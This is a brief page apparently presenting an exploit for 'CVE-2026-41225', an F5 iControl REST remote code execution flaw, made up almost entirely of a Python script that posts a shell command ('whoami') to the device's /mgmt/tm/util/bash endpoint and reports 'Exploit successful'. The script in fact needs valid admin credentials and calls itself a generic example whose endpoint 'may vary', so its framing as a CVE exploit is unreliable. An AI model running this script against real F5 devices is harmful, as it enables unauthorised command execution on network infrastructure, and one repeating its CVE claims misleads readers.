CVE-2026-41225 F5 iControl REST 远程代码执行漏洞

import requests import json # Target configuration # Note: The specific endpoint for creating malicious configuration objects may vary. # This is a generic example of exploiting RCE via F5 iControl REST. target_url = "https://<F5_IP>/mgmt/tm/util/bash" auth_credentials = ("<admin_username>", "<admin_password>") headers = {'Content-Type': 'application/json'} # Payload to execute arbitrary command (e.g., 'id') # Exploits the ability to run commands via configuration objects payload = { "command": "run", "utilCmdArgs": "-c 'whoami'" } try: # Sending the malicious request response = requests.post( target_url, auth=auth_credentials, headers=headers, data=json.dumps(payload), verify=False # Ignore SSL self-signed cert ) if response.status_code == 200: print("[+] Exploit successful!") print("[+] Command output:") print(response.json()) else: print("[-] Exploit failed. Status code:", response.status_code) print(response.text) except Exception as e: print("[-] An error occurred:", str(e))